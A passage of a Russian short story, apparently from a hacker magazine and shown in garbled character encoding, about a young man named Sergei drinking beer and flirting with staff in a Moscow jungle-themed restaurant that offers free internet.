óãëà. Óñìåõíóëñÿ, ñêîñèë ãëàçà íà ñâîå îòðàæåíèå â çåðêàëå íàïðîòèâ, ïîòîì
äîñòàë ìîáèëüíûé òåëåôîí è ïðîâåðèë, áåðåò ëè çäåñü àíòåííà, èáî çàë ðå-
ñòîðàíà íàõîäèëñÿ ïîä çåìëåé íà ïðèëè÷íîé ãëóáèíå.

Ïðèåìà íå áûëî.
Ëåãêàÿ óñìåøêà ñíîâà ñêîëüçíóëà ïî ëèöó. Õîðîøî, ÷òî òàê: çâîíêè óæå

íàñòîëüêî äîñòàëè, ÷òî ñêðûòüñÿ êóäà-òî õîòü íà ïàðó ÷àñîâ áûëî áû çà ñ÷à-
ñòüå. Îí ïðîäîëæèë ñïóñêàòüñÿ è âûøåë â áîëüøîé ïðîñòîðíûé çàë, â êîòî-
ðîì öàðèë ïîëóìðàê è èãðàëà òèõàÿ ìóçûêà. Àäìèíèñòðàòîð âåæëèâî óêàçàëà
åìó äâåðü â ãàðäåðîá, ó íåãî ïðèíÿëè ëåãêóþ êóðòêó, êîòîðóþ îí íåñ ïåðåêè-
íóâ ÷åðåç ðóêó, ïðåäëîæèëè âçÿòü «äèïëîìàò», íî îí òàê æå âåæëèâî îòêàçàë-
ñÿ, â øóòêó íàõìóðèâ áðîâè è ïîêà÷àâ ãîëîâîé.

Çàë åìó ñðàçó ïîíðàâèëñÿ, îí äàæå ðåøèë áûâàòü çäåñü ïî÷àùå íåçàâè-
ñèìî îò êóõíè è êà÷åñòâà íàïèòêîâ. Ñòåíû è ïîòîëîê — óìåðåííîãî ñåðîãî
öâåòà — áûëè îïëåòåíû ìàññîé ëèàí, ïåðèìåòð ïîìåùåíèÿ áûë óñòàâëåí âû-
ñîõøèìè ñòâîëàìè äåðåâüåâ. Â óãëàõ è ïñåâäîêàáèíêàõ ñî ñòîëàìè ñòîÿëè áîëü-
øèå êàäêè ñ æèâûìè ïàëüìàìè è ðàçíûìè ðàñòåíèÿìè, êîòîðûì òðóäíî áûëî
ïðèäóìàòü íå òîëüêî íàçâàíèå, íî è îïèñàíèå — íàñòîëüêî ïðè÷óäëèâû îíè

Â ÝÒÎÒ ÄÅÍÜ ÑÅÐÅÃÅ ÌÀËÛØÅÂÓ ÁÛËÎ ÎÕ ÊÀÊ ÒßÆÊÎ ÑÌÎÒÐÅÒÜ ÍÀ ÂÑÅ
ÂÎÊÐÓÃ È ÏÎÍÈÌÀÒÜ, ×ÒÎ ÂÅÑÍÀ, ÊÎÒÎÐÀß ÍÀÊÎÍÅÖ-ÒÎ ÏÐÈØËÀ Â ÌÎÑ-
ÊÂÓ, ßÂÍÎ ÍÅ ÄËß ÍÅÃÎ |NIRO (NIRO@REAL.XAKEP.RU)

ÁÓÊÅÒ ÄËß ÁÀÐÌÅÍØÈ
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Ïîçäðàâëÿåì íàøåãî óâàæàåìîãî ëþáèìåéøåãî àâòîðà
niro ñ þáèëåéíîé Story! Îãðîìíîå åìó ñïàñèáî çà òî, ÷òî
îí îñâåùàåò íàøó æèçíü ñâîèì òâîð÷åñòâîì è äàðèò íàì
âîëøåáíûå ìèíóòû ÷òåíèÿ! Òàê äåðæàòü!
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áûëè. Ãäå-òî â äàëüíåì óãëó çàëà ñêâîçü çâóêè ìóçûêè áûë ñëûøåí êðèê ïîïóãàÿ.
Öåíòð çàëà ïîñòåïåííî ïðèïîäíèìàëñÿ íàä âñåì îñòàëüíûì ïðîñòðàí-

ñòâîì è îòãîðàæèâàëñÿ îò íåãî öåïÿìè. Êîå-ãäå áûëè âèäíû ìîñòèêè, ïî êîòî-
ðûì ìîæíî áûëî ïðîéòè ê áàðó è ñöåíå (ñöåíà áûëà ñåé÷àñ âî ìðàêå, íî
âçãëÿä âûõâàòûâàë ñòîéêè äëÿ àïïàðàòóðû, íåñêîëüêî ïîãàøåííûõ ïðîæåêòî-
ðîâ è áîëüøîé çàäíèê ñ ðåêëàìîé).

Íà âûáîð ïðåäëîæèëè ÷åòûðå ñòîëèêà — íàðîäó â ýòîò ÷àñ áûëî íåìíî-
ãî, ìîæíî áûëî âûáðàòü ëþáîå ìåñòî. Áîëüøå âñåãî åìó ïîíðàâèëîñü â îä-
íîì èç äàëüíèõ óãëîâ. Îí ïðîøåë òóäà, ïî äîðîãå âçÿâ ñ áëèæàéøåãî ñòîëè-
êà êàðòó âèí. «Äèïëîìàò» îïóñòèëñÿ íà êðåñëî ðÿäîì. Îôèöèàíò ïîäîøåë,
ïîçäîðîâàëñÿ, ïðåäëîæèë ìåíþ.

Âûáîð áûë íå òî ÷òîáû áîãàòûé, íî äîñòàòî÷íûé. Îí âûáðàë áëèí÷èêè
ñ ñåìãîé, âçÿë êðóæêó «Êðîìáàõåðà», ïîäóìàë åùå ìèíóòó è ïîïðîñèë ñðàçó
äâå. Ïî÷åìó-òî ñåãîäíÿ, êàê íèêîãäà, õîòåëîñü ïèâà.

Ðàáîòà áûëà óæå, ïî ñóòè äåëà, âûïîëíåíà. Íèêòî íèãäå íå æäàë åãî, îò
ìèëèöèè îí âñåãäà îòêóïèëñÿ áû íåçàâèñèìî îò ñòåïåíè îïüÿíåíèÿ. Äà îí è
íå ñîáèðàëñÿ îñîáåííî íàäèðàòüñÿ — ïîâîäà íå áûëî. Ïðîñòî õîòåëîñü ïî-
ñèäåòü, ïîðàçìûøëÿòü î æèçíè, âûñòðîèòü ïëàíû íà áëèæàéøåå âðåìÿ... 
È äåëàòü âñå ýòî ïîä ðåããè è êðèêè ïîïóãàÿ.

Ïóçûðüêè, ïîäíèìàâøèåñÿ â êðóæêå «Êðîìáàõåðà», çàñòàâëÿëè ìåäèòè-
ðîâàòü. Îí âûíóë èç êàðìàíà ìàëåíüêèé öèôðîâèê — îáîæàë ýòó ïëîñêóþ
«Ìèíîëòó», êîòîðàÿ ïîìåñòèëàñü áû äàæå â ïà÷êå îò ñèãàðåò — íàâåë íà
êðóæêó, ïîïûòàëñÿ âûáðàòü òàêîé âèä, ÷òîáû ïîëó÷èëàñü íåïëîõàÿ çàñòàâêà
íà ðàáî÷èé ñòîë îôèñíîãî òåðìèíàëà. Ïàðà ùåë÷êîâ. Ïðîñìîòðåë — ïîíðà-
âèëîñü. Îí âäðóã ïîíÿë, ÷òî õî÷åò ôîòîãðàôèðîâàòü âñå âîêðóã — íàñòîëüêî
íåîáû÷íûì ïîêàçàëñÿ åìó ýòîò êëóá. Èëè ðåñòîðàí? Ñëîæíî ñêàçàòü, â ÷åì
ðàçíèöà, îñîáåííî åñëè íå ïîíèìàåøü åå.

Îí ñäåëàë íåñêîëüêî ñíèìêîâ çàëà. Áîëüøå âñåãî åìó ïîíðàâèëñÿ áàð,
äàæå íå ñòîëüêî ñàì áàð, ñêîëüêî î÷åíü ïðèâëåêàòåëüíàÿ áàðìåíøà ñ âûñî-
êîé ãðóäüþ. Ãäå-òî ïîñëå ïÿòîãî èëè øåñòîãî ñíèìêà îíà ïîíÿëà, ÷òî ê íåé
ïðîÿâëÿþò èíòåðåñ, ïîâåðíóëàñü ñíà÷àëà áîêîì, à ïîòîì âîâñå ñòàëà ñïèíîé,
ïåðåñ÷èòûâàÿ äåíüãè â êàññå. Ñíèìêè ñïèíû íå áûëè áû êðàñèâûìè èëè èí-
òåðåñíûìè. Ïðèøëîñü ïåðåêëþ÷èòüñÿ íà ÷òî-íèáóäü äðóãîå.

Â ïðîòèâîïîëîæíîì óãëó çàëà òåëåâèçîð, ïîäâåøåííûé â óãëó ìåæäó
ñòåíîé è ïîòîëêîì, ïîêàçûâàë ôóòáîë. Îòñþäà áûëî âèäíî ïëîõî. ×òîáû õîòü
êàê-òî ïîíÿòü, êòî æå èãðàåò, îí íàâåë ôîòîàïïàðàò íà òåëåâèçîð è âêëþ÷èë
çóììåð. Íà ýêðàíå ïðîñòóïèëè íàçâàíèÿ êîìàíä è ñ÷åò. Íè òî, íè äðóãîå íå
êàçàëîñü èíòåðåñíûì.

È îí ïðèíÿëñÿ çà áëèí÷èêè, áëàãî èõ óæå ïðèíåñëè.
Âèëêà òèõîíüêî ïîñòóêèâàëà ïî òàðåëêå. Ïèâî ïîñòåïåííî óáûâàëî. Â

îòëè÷èå îò ïèâà, ëþäè âñå ïðèáûâàëè. Âîêðóã íåãî çàïîëíèëèñü òðè ñòîëèêà.
Ïîêà íèêòî íå íàáèâàëñÿ ê íåìó â ñîñåäè, ìåñò õâàòàëî, íî ñêîðî ìîãëà íà-
ãðÿíóòü è öåëàÿ òîëïà. Â ïðèíöèïå, îí áûë íå ïðîòèâ, íî íå ëþáèë ñëó÷àéíûõ
çíàêîìñòâ â ðåñòîðàíàõ. Åñëè âäðóã ñîñåä íå ïîíðàâèòñÿ, îí âñòàíåò è óéäåò.

Áàðìåíøà ïåðèîäè÷åñêè áðîñàëà âçãëÿäû â åãî ñòîðîíó. ×óâñòâîâà-
ëîñü, ÷òî ïåðâîå íåïðèÿòèå ôîòîãðàôèé ïðîøëî è òåïåðü åå ðàçäðàæàåò îò-
ñóòñòâèå èíòåðåñà. Îí ïîíÿë ýòî, äîæäàëñÿ, êîãäà âñòðåòèòñÿ ñ íåé ãëàçàìè,
óëûáíóëñÿ. Îíà óëûáíóëàñü â îòâåò. Îí ïîäíÿë êðóæêó ïèâà, äåëàÿ âèä, ÷òî
ïüåò çà íåå. Îíà ñìóòèëàñü è îòâåðíóëàñü.

Çà ñòîëèê ðÿäîì ïðèíåñëè êàëüÿí. Ñîñåäè ïîïàëèñü äîâîëüíî øóìíûå,
è õîòÿ íåëüçÿ áûëî ðàçîáðàòü íè ñëîâà èç èõ ðàçãîâîðà, îíè ñîçäàâàëè äî-
âîëüíî ãðîìêèé ôîí. Êàëüÿí äîáàâèë ñóåòû, îíè ñòàëè ñïîðèòü, êòî èç íèõ áó-
äåò ïåðâûì. Îäíà äàìà ïîïûòàëàñü ðàññêàçàòü âñåì î òîì, êàê îíà âïåðâûå
ïîïðîáîâàëà ýòîò àðîìàòíûé äûì, íî åé áûñòðî ïðèêðûëè ðîò î÷åðåäíûì òî-
ñòîì çà êàêóþ-òî èìåíèííèöó, ïîñëå ÷åãî îáëàêî äûìà ìåäëåííî ñòàëî ïîä-
íèìàòüñÿ ê ïîòîëêó, ïîêðûòîìó ñåòüþ ëèàí.

Âíåçàïíî ñðåäè ýòîãî çàëà, ñòàíîâÿùåãîñÿ øóìíûì, îí ïî÷óâñòâîâàë
ñåáÿ îäèíîêèì, ïðè÷åì ÷óâñòâî áûëî î÷åíü ñèëüíûì, ïðîíçèòåëüíûì, ñëîâíî
êðèê áîëè. Âäðóã çàõîòåëîñü óâèäåòü ðÿäîì ñ ñîáîé ñâîèõ øêîëüíûõ äðóçåé,
èíñòèòóòñêóþ ëþáîâü è ïðîñòî õîòü êîãî-íèáóäü èç çíàêîìûõ, ÷òîáû ïîäíÿòü
êðóæêó ïèâà âìåñòå, âñïîìíèòü ïðîøëîå, ïîñìåÿòüñÿ, ïîñïëåòíè÷àòü — â îá-
ùåì, ðàäîâàòüñÿ æèçíè, à íå ïðîñòî ðàçãëÿäûâàòü ñ ðàññòîÿíèÿ â äâàäöàòü
ìåòðîâ áàðìåíøó ìîäåëüíîé âíåøíîñòè, âçäûõàÿ ïî ïîâîäó åå ôàíòàñòè÷å-
ñêîé ãðóäè è ïðåäñòàâëÿÿ, êàê áû îí ê íåé ïðèêîñíóëñÿ...

Îí äîñòàë «Ïàëì», ïåðåêà÷àë òóäà ôîòîãðàôèè ñ «Ìèíîëòû», îòìåòèë

ïðî ñåáÿ, ÷òî àêêóìóëÿòîðû íà ôîòîàïïàðàòå ñàäÿòñÿ (äàâíî íå çàðÿæàë èõ, à
åùå äîëüøå íå ïîëüçîâàëñÿ öèôðîâèêîì, êàê-òî íå íàõîäèëñÿ ïîâîä. Äåâóøêà
çà ñòîéêîé íàñòîëüêî çàâåëà åãî, ÷òî îí âäðóã âñïîìíèë, ÷òî òàêîå æåíùèíû, ýðî-
òèêà, âåñíà, ëþáîâü...). Ïîòîì ðåøèë ïåðåñëàòü èçîáðàæåíèÿ íà äîìàøíèé êîì-
ïüþòåð, ÷òîáû ïîòîì ðàññìîòðåòü èõ âî âñåõ ïîäðîáíîñòÿõ, íî ïîíÿë, ÷òî íå ñóäü-
áà: àíòåííà òåëåôîíà â çàëå íå áðàëà, ïîýòîìó âûéòè â èíòåðíåò íå ïðåäñòàâ-
ëÿëîñü âîçìîæíûì. Îí ðàçî÷àðîâàííî ïîêà÷àë ãîëîâîé, ïîòîì óêðàäêîé ïîñìî-
òðåë â ñòîðîíó áàðà è ïîíÿë, ÷òî åãî ùåë÷êè è âñïëåñêè ôîòîâñïûøêè íå îñòàâè-
ëè äåâóøêó ðàâíîäóøíîé. Îíà ÿâíî æäàëà åãî âçãëÿäà, ÷òîáû óëûáíóòüñÿ ñíîâà.

Ñïóñòÿ ñåêóíäó îíà âäðóã çà÷åì-òî ïîêàçàëà åìó ñâîé ñîòîâûé òåëåôîí.
Ïîäíÿëà íà óðîâåíü ãîëîâû, ïîêà÷àëà èç ñòîðîíû â ñòîðîíó, åùå ðàç óëûá-
íóëàñü. Îí íå ïîíÿë. Îíà ïîæàëà ïëå÷àìè è ïîëîæèëà òåëåôîí íà ñòîéêó, ðÿ-
äîì ñ áîëüøèìè ïèâíûìè êðàíàìè ñ ýìáëåìîé «Êðîíáàõåðà».

«×òî ýòî çíà÷èò? Îíà õî÷åò ïîçíàêîìèòüñÿ è îáìåíÿòüñÿ íîìåðàìè òå-
ëåôîíîâ?» Â ïîëüçó ýòîé âåðñèè áûëà ìàññà ñîìíåíèé: îí íèêîãäà íå ïðè÷è-
ñëÿë ñåáÿ ê ëþäÿì, êîòîðûå ïðîèçâîäÿò íåèçãëàäèìîå âïå÷àòëåíèå íà äåâó-
øåê â òå÷åíèå ïåðâûõ ïÿòíàäöàòè ìèíóò, çàñòàâëÿÿ èõ ñõîäèòü ñ óìà è áðîñà-
òüñÿ â îáúÿòèÿ. Ó íåãî âñåãäà áûëè ïðîáëåìû ñ æåíñêèì ïîëîì, åùå ñ ñàìîé
øêîëû, äà è â èíñòèòóòå îí íå ïîëüçîâàëñÿ îñîáåííîé ïîïóëÿðíîñòüþ. Ëè-
øèëñÿ äåâñòâåííîñòè, ñìåøíî ñêàçàòü, â äâàäöàòü ëåò, êîãäà ìíîãèå èç åãî
äðóçåé óæå èìåëè ñåìüè è êó÷ó äåòåé. È âîò âíåçàïíî êðàñàâèöà ðîäîì èç
«Ïåíòõàóçà» ïîêàçûâàåò åìó ñâîé ñîòîâûé è ïðåäëàãàåò ïîçíàêîìèòüñÿ.

Çäåñü ÿâíî ÷òî-òî áûëî íå òàê.
Íî îí, ïåðåêðåñòèâøèñü â äóøå, âñòàë è ïîäîøåë ê ñòîéêå áàðà.

* * * * *
Ïðèøëîñü ñòîÿòü äîëãî. Ñëîæèëîñü òàêîå âïå÷àòëåíèå, ÷òî ïèâî åñòü òîëüêî
çäåñü, íà Òâåðñêîé. Â î÷åðåäè ñëûøàëèñü øóòêè íà òåìó âåñíû, ïðîõîäÿùèõ
ìèìî äåâóøåê è êà÷åñòâà ïðîäàâàåìîãî ïðîäóêòà. Ñåðãåé, ïåðåìèíàÿñü ñ íî-
ãè íà íîãó, âûèñêèâàë ñðåäè ïðîõîäÿùèõ çíàêîìûå ëèöà, íî, êàê ýòî è áûâà-
åò â áîëüøèõ ãîðîäàõ, ñëó÷àéíàÿ âñòðå÷à äîëæíà áûòü çàïðîãðàììèðîâàíà
çàðàíåå. Íè îäíîé çíàêîìîé ôèçèîíîìèè.

Ïðîäàâùèöà ñóíóëà åìó äâå «Ñèáèðñêèõ êîðîíû» â ìàëåíüêîå îêîøêî,
â êîòîðîå âðÿä ëè ïðîëåçëî áû ÷òî-òî áîëüøå, ÷åì áàíêà ïèâà. Îòîéäÿ â ñòî-
ðîíó, îí ñäåðíóë ñ îäíîé èç íèõ æåñòÿíîé ÿçû÷îê è æàäíî îòõëåáíóë — ñëîâ-
íî â æàðó. Ïèâî îáîæãëî, óäàðèëî â íîñ.

Ñåðãåé ìàøèíàëüíî îãëÿíóëñÿ, îòìåòèë ïðî ñåáÿ, ÷òî ìèëèöèè ðÿäîì
íåò (îõ óæ ýòîò çàêîí î ðàñïèòèè ñïèðòíûõ íàïèòêîâ!), ïîèñêàë ãëàçàìè ñâî-
áîäíóþ ñêàìåéêó, íî ïðèñåñòü åìó íå óäàëîñü. Ëþäè, ñëîâíî âîðîáüè, îáëå-
ïèëè â ýòîò ïîãîæèé äåíü è ëàâî÷êè, è ôîíòàíû, è äàæå áîðòèêè ïîäçåìíîãî
ïåðåõîäà, óíîñÿùåãî ëþäåé ê ìåòðî.
— Ýõ, Êàòÿ, — òîëüêî è ñìåë ñêàçàòü îí ñåáå. — Ëàäíî-ëàäíî...

È âûøåë íà Ñòðàñòíîé áóëüâàð.
Äâèæåíèå áûëî ñïîêîéíûì, îí íå òîðîïÿñü ïåðåøåë óëèöó, äàæå íå îá-

ðàòèâ âíèìàíèÿ íà ñâåòîôîðû. Ñóìêà ñ êîìïüþòåðîì áèëà åãî ïî æèâîòó, íî
îí íå çàìå÷àë — âðåìåíàìè îñòàíàâëèâàëñÿ, çàïðîêèäûâàë ãîëîâó è äåëàë
áîëüøîé ãëîòîê. Ìåòðîâ ÷åðåç ñòî âî âðåìÿ î÷åðåäíîãî âîçëèÿíèÿ îí ïîäíÿë
ãëàçà ê íåáó è ïðî÷èòàë:
— «Àìàçîíèÿ»...

Íàçâàíèå óäèâèëî. Îí ïðîáåãàë çäåñü âðåìÿ îò âðåìåíè, êàê âñå ìîñêâè-
÷è, ñìîòðÿ ñòðîãî â àñôàëüò. Òîëüêî ãîñòè ñòîëèöû õîäÿò çàäðàâ ãîëîâó êâåðõó
è ÷èòàÿ ìåìîðèàëüíûå òàáëè÷êè è èçó÷àÿ íåâèäàííóþ àðõèòåêòóðó — ñòàëèí-
ñêóþ ëè, õðóùåâñêóþ èëè åùå êàêóþ-íèáóäü, íàïðèìåð ðîäîì èç ñðåäíåâåêî-
âüÿ. Âîò ïî÷åìó ñâåòÿùàÿñÿ ðåêëàìà ïðèÿòíî óäèâèëà åãî: îí íèêîãäà íå áûë âíó-
òðè ýòîãî çàâåäåíèÿ. Æåëàíèå ïîáûâàòü òàì óñèëèëîñü, êîãäà îí ïðî÷èòàë îáú-
ÿâëåíèå âîçëå âõîäà: «Äëÿ êëèåíòîâ ðåñòîðàíà — áåñïëàòíûé äîñòóï â èíòåðíåò».

Â îáùåì, ïëþñîâ áûëî áîëüøå, ÷åì ìèíóñîâ. Îí õîòåë ñîãðåòüñÿ —
ðàç. Äâà — æóòêî õîòåëîñü â òóàëåò (ïîïðîáóé ðåøè ýòó ïðîáëåìó â ìíîãî-
ìèëëèîííîì ãîðîäå, ãäå âñåãäà ðÿäîì ñ òîáîé êòî-òî õîäèò è íå äàåò ñíÿòü
øòàíû). Ïðîñíóëîñü ÷óâñòâî ãîë îäà — òðè, à äåíüãè ïðè ýòîì â êàðìàíå áû-
ëè — ýòî ÷åòûðå. Íó è èíòåðíåò — íå ïîéìåøü, òî ëè «ïÿòü», òî ëè «ðàç». Ïî-
æàëóé, èìåííî õàëÿâíàÿ Ñåòü îêàçàëàñü êàê ïåðâîé, òàê è ïîñëåäíåé êàïëåé,
êîòîðàÿ çàñòàâèëà åãî ïðèíÿòü ðåøåíèå.

Îí äîïèë ïèâî èç ïåðâîé áàíêè, âòîðóþ ðåøèë ïðèáåðå÷ü äî ëó÷øèõ âðå-
ìåí, íî ïîòîì ïîíÿë, ÷òî ëó÷øèå âðåìåíà, ïîæàëóé, óæå íàñòàëè: ÷åì áîëüøå
âûïüåøü íà óëèöå, òåì ìåíüøå çàïëàòèøü âíóòðè. Ãðîìêèé ùåë÷îê îòêðûâàøêè
çàñòàâèë îõðàííèêà, âûøåäøåãî íà óëèöó ñ ñèãàðåòîé, âçäðîãíóòü è âíèìàòåëü-
íî ïîñìîòðåòü íà ìîëîäîãî ÷åëîâåêà, êîòîðûé, ïîõîæå, ñîáèðàëñÿ çàéòè âíóòðü.

Ìàëûøåâ îäíèì äóõîì îïóñòîøèë áàíêó è åäâà íå çàäîõíóëñÿ, ê ïî-
ñëåäíèì ãëîòêàì âîçäóõó óæå ÿâíî íå õâàòàëî. Èç-çà ðàçäàâøåéñÿ ãðîìêîé
îòðûæêè ëèöî îõðàííèêà ïåðåêîñèëî («Ãîñïîäè, ÷òî çà ÷óäî?!»), íî îí îòî-
øåë â ñòîðîíó, âûïóñêàÿ äûì êóäà-òî âáîê è ïðîïóñêàÿ Ìàëûøåâà âíóòðü.

Êîãäà Ñåðãåé ñïóñêàëñÿ âíèç ïî ñòóïåíüêàì, åãî óæå îùóòèìî ïîêà÷è-
âàëî. Ðàçäðàæåíèå îò íåóäàâøåãîñÿ ñâèäàíèÿ äàâíî óøëî è ñìåíèëîñü êà-
êèì-òî íåîáúÿñíèìûì áëàãîñòíûì îùóùåíèåì. Îí øåë, ñ÷èòàÿ øàãè, ïðè-
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êðûâ ãëàçà è ïðèäåðæèâàÿñü ðóêîé çà ñòåíó. Âî âðåìÿ îäíîãî èç ïîêà÷èâàíèé
ðóêà ïðîâàëèëàñü êóäà-òî â ïóñòîòó è ïàëüöû íàùóïàëè êàêèå-òî áóìàãè. Îí
óõâàòèëñÿ çà íèõ, âûòàùèë íåñêîëüêî — ðåêëàìíûå ïðîñïåêòû ðåñòîðàíà,
âûñòàâëåííûå â ðåøåò÷àòóþ ñòîéêó. Ñåðãåé ïîñìîòðåë íà íèõ íåïîíèìàþ-
ùèì âçãëÿäîì, íî èç ðóê íå âûïóñòèë è ïðîäîëæèë äâèæåíèå â çàë.

Àäìèíèñòðàòîð ïîäîøåë ê íåìó è òóò æå ïîíÿë, ÷òî ïåðåä íèì èçðÿäíî
âûïèâøèé ÷åëîâåê. Âûðàæåíèå åãî ëèöà ñðàçó ñòàëî îáåñïîêîåííûì, çà ñïè-
íîé îí ëåãîíüêî ìàõíóë ðóêîé îõðàííèêó â çàëå.

Ìàëûøåâ çàìåòèë äâèæåíèå â íàïðàâëåíèè ñâîåãî ñòîëèêà, óñìåõíóë-
ñÿ è ñêàçàë:
— Íå áîéòåñü, ÿ íå áóéíûé... Êóøàòü õî÷åòñÿ. Ïîñàäèòå ìåíÿ êóäà-íèáóäü, ãäå
åñòü èíòåðíåò. Â óãîëî÷åê...

Àäìèíèñòðàòîð ñêîñèë ãëàçà íà îõðàííèêà, òîò åùå ðàç ñ ãîëîâû äî íîã
îñìîòðåë ãîñòÿ.
— Ôåéñ-êîíòðîëü? — ñíîâà óñìåõíóëñÿ Ñåðãåé. — Íàäî æå, âñåãäà ïðîõî-
äèë. Íåóæåëè ïîêóøàòü íå äàäèòå?
— Íó ñìîòðè, — íåëàñêîâî êèâíóë îõðàííèê. — Ó íàñ ðàçãîâîð êîðîòêèé.
— Îõîòíî âåðþ, — Ìàëûøåâ ïîòÿíóë ñ ñåáÿ êóðòêó, ïîäîøåë ê ãàðäåðîáó. —
Íîìåðî÷åê, ïîæàëóéñòà. Åñëè ìîæíî, íå÷åòíûé. ß â ïðèìåòû âåðþ.
— Ýòî êàêàÿ æå ïðèìåòà íà íîìåðêè åñòü? — ïîèíòåðåñîâàëàñü äåâóøêà çà
ãàðäåðîáíîé ñòîéêîé.
— À? — ïåðåñïðîñèë Ìàëûøåâ, êîòîðûé â ýòî âðåìÿ ðàçãëÿäûâàë çàë è ñè-
äÿùèõ çà ñòîëàìè ëþäåé. — Äà áîã åå çíàåò... À ÷òî, íå÷åòíûõ íåò?
— Ïî÷åìó íåò? Åñòü. Âîò, òðèíàäöàòûé. Êàê íàñ÷åò ñóåâåðèé? — îíà ïðîòÿíó-
ëà åìó æåëòûé ðîìáèê èç ïëàñòèêà.

Ñåðãåé âçÿë åãî â ðóêó, ïîäìèãíóë ãàðäåðîáùèöå, ïîòîì ñïðîñèë:
— À âàñ ñëó÷àéíî íå Êàòÿ çîâóò?
— ×òî, òîæå ïðèìåòà? Íåò, ÿ Ìàðèíà. Íî ñ íåçíàêîìûìè ïàðíÿìè, òåì áîëåå
íà ðàáîòå, íå îáùàþñü.

Ìàëûøåâ ïîêà÷àë ãîëîâîé.
— Ñåðüåçíîå çàÿâëåíèå... Âîîáùå ìåíÿ Ñåðãåé çîâóò, íî åñëè âû òàêàÿ ïðèí-
öèïèàëüíàÿ, Ìàðèíà, ëó÷øå íå íàäî ïðîäîëæåíèé. Ïîéäó ÿ ïèâêà âðåæó...
— Äà óæ... Âðåæü, — ïðîâîð÷àëà åìó â ñïèíó Ìàðèíà, êîòîðàÿ çà ïîëòîðà ãî-
äà ðàáîòû â «Àìàçîíèè» óæå óñòàëà îò ïîäîáíûõ ðàçãîâîðîâ. Ìàëûøåâ òåì
âðåìåíåì âåðíóëñÿ ê àäìèíèñòðàòîðó.
— ß ïðî÷èòàë îáúÿâëåíèå... — ìàõíóë îí ðóêîé â ñòîðîíó âõîäà. — À íîóòáóê
íîøó ñ ñîáîé òàê, êàê áèçíåñìåí êðåäèòíûå êàðòî÷êè — âñåãäà. Õî÷åòñÿ âå-
ðèòü â óäà÷ó — ÷òî çà ñòîëàìè äëÿ èíòåðíåòà åùå åñòü ñâîáîäíûå ìåñòà.

Îí ïîïûòàëñÿ óëûáíóòüñÿ, íî ïîíÿë, ÷òî óæå ïåðåãèáàåò ïàëêó — â êîí-
öå êîíöîâ, êàêîå äåëî àäìèíèñòðàòîðó äî åãî ïðèñòðàñòèé. Ëèøü áû äåíüãè
ïî ñ÷åòó çàïëàòèë è íå õóëèãàíèë. Òåì âðåìåíåì åìó óêàçàëè â ïðàâûé äàëü-
íèé óãîë çàëà — òàì áûë ïóñòîé ñòîë íà ÷åòûðå ìåñòà.
— Âû ìîæåòå ïîäêëþ÷àòüñÿ ïðè óñëîâèè çàêàçà, — îáúÿñíèë àäìèíèñòðàòîð.
— Ñíà÷àëà ìåíþ, ïîòîì èíòåðíåò. Âñå î÷åíü ïðîñòî.
— Óòðîì äåíüãè — âå÷åðîì ñòóëüÿ, — êèâíóë Ñåðãåé. — Äàâàéòå ñðàçó îôè-
öèàíòà, çàêàæó ïèâà è êàêîé-íèáóäü çàêóñêè.
— Êàê óãîäíî.

Ìàëûøåâ ïðîøåë ê ñåáå çà ñòîëèê, ðóõíóë â êðåñëî, ïðèäåðæèâàÿ ðó-
êîé ñóìêó ñ êîìïüþòåðîì, è òîëüêî ïîñëå ýòîãî îáðàòèë âíèìàíèå íà äèçàéí
ðåñòîðàíà. Îáèëèå çåëåíè è ïîëóìðàê äæóíãëåé î÷åíü è î÷åíü óäèâèëè åãî.
Îí ïîêà÷àë ãîëîâîé, äîñòàë íîóòáóê, âêëþ÷èë åãî.

Ëåãêèé ãîëóáîâàòûé ñâåò îòðàçèëñÿ íà ëèöå Ìàëûøåâà. Îí âçãëÿíóë íà
ýêðàí, ïîòîì îãëÿäåëñÿ, íå óâèäåë îôèöèàíòà è ïðîòÿíóë ðóêó ê ìàëåíüêîé
ïîëóñôåðå â öåíòðå ñòîëà, êîòîðàÿ áûëà êíîïêîé äëÿ âûçîâà îáñëóæèâàþ-
ùåãî ïåðñîíàëà. Äåâóøêà ïîÿâèëàñü ñïóñòÿ ìèíóòó. 

Ñåðãåé ïðîáåæàë ãëàçàìè ìåíþ, âûäåëèë äëÿ ñåáÿ ðàçäåë «Ïèâî», òùà-
òåëüíî èññëåäîâàë åãî è òêíóë ïàëüöàìè â «Õîëñòåí», ïîòîì âûáðàë êîå-÷òî
èç ìîðåïðîäóêòîâ, îñîáî íå â÷èòûâàÿñü â íàçâàíèÿ.
— Åñëè ìîæíî, ïîáûñòðåå. À òî ìåíÿ â Ñåòü íå ïóñòÿò áåç âàøåé ðàñòîðîï-
íîñòè.
— Ñèþ ìèíóòó, íå áåñïîêîéòåñü, — äåâóøêà óëûáíóëàñü åìó âî âñå òðèäöàòü
äâà çóáà. — Ïðîñòî ñåãîäíÿ ìíîãî íàðîäà, õîòÿ ýòî îáû÷íàÿ êàðòèíà ïî ïÿò-
íèöàì è ñóááîòàì.

Ñåðãåé óëûáíóëñÿ â îòâåò è ïîñìîòðåë åé â ñïèíó. Ôèãóðà ó íåå áûëà î÷åíü
äàæå íè÷åãî. Ïðÿìàÿ ñïèíà, òîíêàÿ òàëèÿ, íà áåäðàõ êîðîòêàÿ þáêà, îáëåãàþùàÿ
êàæäûé ñàíòèìåòð, ïðÿìûå, áåç èçëèøíåé ïîëíîòû, íîãè. Áîëüøå âñåãî Ìàëûøå-
âó ïîíðàâèëèñü åå êîëãîòêè — ÷åðíûå, ñåòî÷êîé. Ñåòêà áûëà íå ìåëêîé è íå êðóï-
íîé — íå âóëüãàðíîé è íå ïèîíåðñêîé. Ñåðãåé ñìîòðåë åé âñëåä è íå ìîã îòîðâàòü
âçãëÿä îò øâà íà êîëãîòêàõ, êîòîðûé âûáåãàë èç-ïîä þáêè è ñêðûâàëñÿ â òóôëÿõ
íà âûñîêîì êàáëóêå. «Öîê-öîê! Öîê-öîê!» — ñòó÷àëè åå íàáîéêè, è õîòÿ îíà óäàëÿ-
ëàñü âñå äàëüøå è äàëüøå, äàæå çâóêè ìóçûêè íå ìîãëè çàãëóøèòü èõ. Ãäå-òî âíó-
òðè êîëûõíóëèñü ìûñëè î íåñáûâøåìñÿ ñâèäàíèè ñ Êàòåé, ïîòîì îí âäðóã ðåøèë
ïîçíàêîìèòüñÿ ñ îôèöèàíòêîé ïîáëèæå, íî ïèâî, âûïèòîå íà óëèöå, óäàðèëî åìó
â ãîëîâó óæå íå ìîëîòî÷êîì, à êóâàëäîé: îí ïðåäñòàâèë, êàê îíà âå÷åðîì æäåò òî-
